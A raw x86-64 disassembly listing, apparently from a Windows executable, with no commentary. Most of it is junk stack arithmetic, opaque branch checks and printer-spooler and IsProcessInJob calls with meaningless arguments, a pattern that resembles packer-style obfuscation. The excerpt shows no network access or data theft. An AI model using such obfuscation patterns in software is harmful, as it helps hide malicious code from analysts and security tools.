mov ecx, dword [rsp + 0x143c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x142c], eax
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0xa8]
sub eax, ecx
mov byte [rsp + 0xab], al
mov rax, qword [rsp + 0x2978]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c0]
add eax, ecx
mov word [0x1400b9e14], ax
mov eax, dword [rsp + 0x147c]
add eax, 0x4c
mov dword [rsp + 0x147c], eax
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5cc]
and eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
movzx eax, word [rsp + 0x5c8]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [0x1400b9008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x29d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x143c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28b0]
mov dword [rcx], eax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x1558]
shl eax, cl
mov rcx, qword [rsp + 0x2a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2930]
mov rcx, qword [rsp + 0x2a28]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2970]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
sar eax, cl
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
and eax, ecx
mov byte [rsp + 0xa9], al
movsx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
sub eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2930]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2838]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x143c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14e0], eax
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x25f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28d0]
mov rcx, qword [rsp + 0x2a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
movzx eax, word [rsp + 0x5c4]
movzx ecx, word [rsp + 0x5c0]
and eax, ecx
mov word [rsp + 0x5d0], ax
movzx eax, word [rsp + 0x5c4]
mov rcx, qword [rsp + 0x2948]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400b9e14], ax
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
shl eax, cl
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x2980]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x5cc], ax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
sar eax, cl
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
cmp dword [rsp + 0x147c], 0x37b7
jb 0x140007b4a
mov rax, qword [rsp + 0x28e8]
mov rcx, qword [rsp + 0x28d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x14d8], eax
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2970]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2808]
mov rcx, qword [rsp + 0x25f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x29d0]
mov rcx, qword [rsp + 0x2878]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x14e0], eax
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x29c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
movsx eax, word [rsp + 0x5cc]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov word [0x1400b9010], ax
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c4]
sub eax, ecx
mov word [rsp + 0x5c0], ax
movzx eax, word [rsp + 0x5c0]
movzx ecx, word [rsp + 0x5d0]
add eax, ecx
mov word [rsp + 0x5c8], ax
mov eax, dword [rsp + 0x152c]
mov dword [rsp + 0x1564], eax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x2848]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0x2a40]
mov ecx, dword [rsp + 0x142c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x29d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2930]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2840]
mov qword [rsp + 0x2a60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2a60]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
or eax, ecx
mov byte [rsp + 0xab], al
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1400b9010], ax
mov eax, dword [rsp + 0x1548]
add eax, 0x49
mov dword [rsp + 0x1548], eax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
sar eax, cl
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
add eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
sub eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2a38]
mov ecx, dword [section..data]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x14f8], eax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x25f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28b8]
mov rcx, qword [rsp + 0x2800]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov eax, dword [rsp + 0x142c]
mov ecx, dword [rsp + 0x143c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x29d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5cc]
sub eax, ecx
mov word [rsp + 0x5bc], ax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x29d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5d0]
sub eax, ecx
mov rcx, qword [rsp + 0x2978]
mov word [rcx], ax
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2980]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1564]
mov ecx, dword [rsp + 0x153c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28f0]
mov rcx, qword [rsp + 0x2840]
mov qword [rsp + 0x2a68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2a68]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2888]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2838]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x142c]
shl eax, cl
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
add eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c8]
add eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c0]
sub eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1488]
mov dword [rsp + 0x1510], eax
mov rax, qword [rsp + 0x2848]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2878]
mov rcx, qword [rsp + 0x2a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2928]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2930]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x24e0], rax
movzx eax, word [rsp + 0x5c4]
mov rcx, qword [rsp + 0x2948]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x29d8]
mov word [rcx], ax
movzx eax, word [rsp + 0x5c0]
movzx ecx, word [rsp + 0x404]
sar eax, cl
mov word [0x1400b9e14], ax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
or eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5cc]
xor eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x28b0]
mov ecx, dword [rsp + 0x14e0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x142c], eax
mov eax, dword [rsp + 0x1510]
mov ecx, dword [rsp + 0x152c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1544], eax
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x2808]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2970]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x24e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2930]
mov qword [rcx], rax
movzx eax, word [rsp + 0x5c8]
movzx ecx, word [rsp + 0x5c0]
sub eax, ecx
mov word [rsp + 0x5d0], ax
cmp dword [rsp + 0x1548], 0x59ea
jb 0x140007eaf
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
and eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1538]
add eax, 0xcc
mov dword [rsp + 0x1538], eax
movsx eax, word [0x1400b9010]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
add eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x27e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov eax, dword [rsp + 0x14e0]
mov rcx, qword [rsp + 0x28b0]
mov qword [rsp + 0x2a70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2a70]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28e8]
mov rcx, qword [rsp + 0x28d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x2a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2930]
mov rcx, qword [rsp + 0x2840]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2970]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
movsx ecx, byte [0x1400b9e10]
sar eax, cl
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x29d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400b9e14], ax
movsx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rax, qword [rsp + 0x29e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c0]
sub eax, ecx
mov word [rsp + 0x5d0], ax
mov rax, qword [rsp + 0x29d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x142c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14e0], eax
mov rax, qword [rsp + 0x2848]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x27a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0x28b8]
mov rcx, qword [rsp + 0x24e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2a28], rax
mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2a38]
mov dword [rcx], eax
cmp dword [rsp + 0x1538], 0x4d98
jb 0x1400084ee
mov eax, dword [rsp + 0x143c]
mov dword [rsp + 0x1580], eax
cmp dword [rsp + 0x1580], 0x53eeee3d
je 0x140008841
cmp dword [rsp + 0x1580], 0x7a12fc5c
je 0x140008747
jmp 0x1400088ff
mov eax, dword [rsp + 0x14e0]
mov dword [rsp + 0x1584], eax
cmp dword [rsp + 0x1584], 0x62bd4414
je 0x140008764
jmp 0x1400087df
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
movsx ecx, word [0x1400b9010]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xaa], al
lea rdx, [rsp + 0xe740]
mov rcx, qword [rsp + 0x2a78]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x14b8], eax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
xor eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
jmp 0x14000883c
movzx eax, word [0x1400b9e14]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x5c8], ax
lea rax, [rsp + 0x2948]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2a10]
mov qword [rsp + 0x20], rax
mov r9d, 0x51
lea r8, [rsp + 0x2a78]
mov edx, 0x58
mov rcx, qword [rsp + 0x2868]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x14b8], eax
jmp 0x1400088ff
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x28b8]
shl rax, cl
mov qword [rsp + 0x2a80], rax
mov rax, qword [rsp + 0x2a28]
cqo
mov rcx, qword [rsp + 0x2970]
idiv qword [rcx]
mov rcx, qword [rsp + 0x2a80]
cmp rcx, rax
je 0x1400088c8
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x29e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2978]
mov word [rcx], ax
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xaa], al
jmp 0x1400088e7
mov rax, qword [rsp + 0x29d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x142c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2878]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x2800]
call fcn.1400a03d0
nop
mov rax, qword [rsp + 0x28e8]
mov ecx, dword [rsp + 0x1544]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
mov dword [rsp + 0x1588], 0x4bf
movzx eax, word [rsp + 0x5c4]
movzx ecx, word [rsp + 0x5c8]
add eax, ecx
movzx ecx, word [rsp + 0x404]
mov rdx, qword [rsp + 0x2948]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x140008a76
lea rax, [rsp + 0x2800]
mov qword [rsp + 0x2a88], rax
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x27e0]
mov qword [rsp + 0x2a90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2a90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2808], rax
mov eax, dword [rsp + 0x14e0]
mov dword [rsp + 0x158c], eax
cmp dword [rsp + 0x158c], 0
je 0x1400089b4
jmp 0x140008a58
movzx eax, word [rsp + 0x5c8]
mov dword [rsp + 0x1590], eax
cmp dword [rsp + 0x1590], 0x1f6
je 0x1400089df
cmp dword [rsp + 0x1590], 0x685
je 0x140008a39
jmp 0x140008a56
mov edx, 0x26
mov rcx, qword [rsp + 0x2a10]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x2a30], rax
movsx eax, word [0x1400b9010]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov eax, dword [rsp + 0x152c]
movzx ecx, al
mov eax, dword [rsp + 0x1544]
shr eax, cl
mov dword [section..data], eax
call fcn.14009fa10
nop
jmp 0x140008a56
movzx eax, word [rsp + 0x5c4]
movzx ecx, word [rsp + 0x5c8]
xor eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
jmp 0x140008a71
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0xa8]
add eax, ecx
mov byte [rsp + 0xa9], al
jmp 0x140008c38
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x29e0]
movzx ecx, word [rcx]
and eax, ecx
movzx ecx, word [rsp + 0x5c8]
mov rdx, qword [rsp + 0x2948]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x140008c38
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2848]
mov qword [rsp + 0x20], rax
mov r9d, 0xd
lea r8, [rsp + 0x2930]
mov edx, 0x2d
mov rcx, qword [rsp + 0x2850]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x1594], eax
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
movsx eax, word [0x1400b9010]
mov dword [rsp + 0x1598], eax
cmp dword [rsp + 0x1598], 0x24fc
je 0x140008b2e
jmp 0x140008c1c
movzx eax, word [rsp + 0x5c8]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x2978]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x140008bd4
lea rax, [rsp + 0xe740]
mov qword [rsp + 0x20], rax
mov r9d, 0x1f
lea r8, [rsp + 0x2a18]
mov edx, 0x54
mov rcx, qword [rsp + 0x2a78]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x1420], eax
mov rax, qword [rsp + 0x2a38]
mov rcx, qword [rsp + 0x28e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1510], eax
mov rax, qword [rsp + 0x2970]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x24e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
lea r8, [rsp + 0xe740]
mov rdx, qword [rsp + 0x2a98]
mov rcx, qword [rsp + 0x2a98]
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov dword [rsp + 0x1594], eax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2808]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
jmp 0x140008c38
mov rax, qword [rsp + 0x2878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x14e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x143c], eax
movzx eax, word [rsp + 0x5d0]
mov rcx, qword [rsp + 0x29d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x29e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0xa8]
shl eax, cl
mov byte [rsp + 0xa9], al
movsx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
movzx eax, word [rsp + 0x5c0]
mov rcx, qword [rsp + 0x2978]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5d0], ax
mov eax, dword [rsp + 0x14e0]
mov ecx, dword [rsp + 0x143c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x142c], eax
mov rax, qword [rsp + 0x2808]
mov rcx, qword [rsp + 0x27a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov eax, dword [rsp + 0x14e4]
add eax, 0xbc
mov dword [rsp + 0x14e4], eax
mov rax, qword [rsp + 0x28d0]
mov rcx, qword [rsp + 0x28e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x152c], eax
mov rax, qword [rsp + 0x2a88]
mov rcx, qword [rsp + 0x28b8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2a28], rax
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
movsx eax, byte [0x1400b9e10]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xaa], al
movzx eax, word [0x1400b9e14]
movzx ecx, word [rsp + 0x5c8]
sub eax, ecx
mov word [rsp + 0x5d0], ax
movsx eax, word [rsp + 0x5cc]
movsx ecx, word [rsp + 0x5b8]
add eax, ecx
mov word [rsp + 0x5bc], ax
mov rax, qword [rsp + 0x2a88]
mov rcx, qword [rsp + 0x28f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2a28], rax
mov rax, qword [rsp + 0x2838]
mov ecx, dword [rsp + 0x142c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
cmp dword [rsp + 0x14e4], 0x6e1b
jne 0x140008c38
mov rax, qword [rsp + 0x28d0]
mov rcx, qword [rsp + 0x2a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x28e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x2808]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
sar eax, cl
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x29d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
or eax, ecx
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x29c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x29e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2978]
mov word [rcx], ax
mov rax, qword [rsp + 0x2918]
mov rcx, qword [rsp + 0x28d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28b8]
mov rcx, qword [rsp + 0x28f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2a88]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1574]
add eax, 0x84
mov dword [rsp + 0x1574], eax
mov rax, qword [rsp + 0x2838]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x143c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x142c], eax
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x27a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov byte [rsp + 0xab], al
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x29c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1400b9e10], al
mov rax, qword [rsp + 0x29e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c4]
sub eax, ecx
mov rcx, qword [rsp + 0x29e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
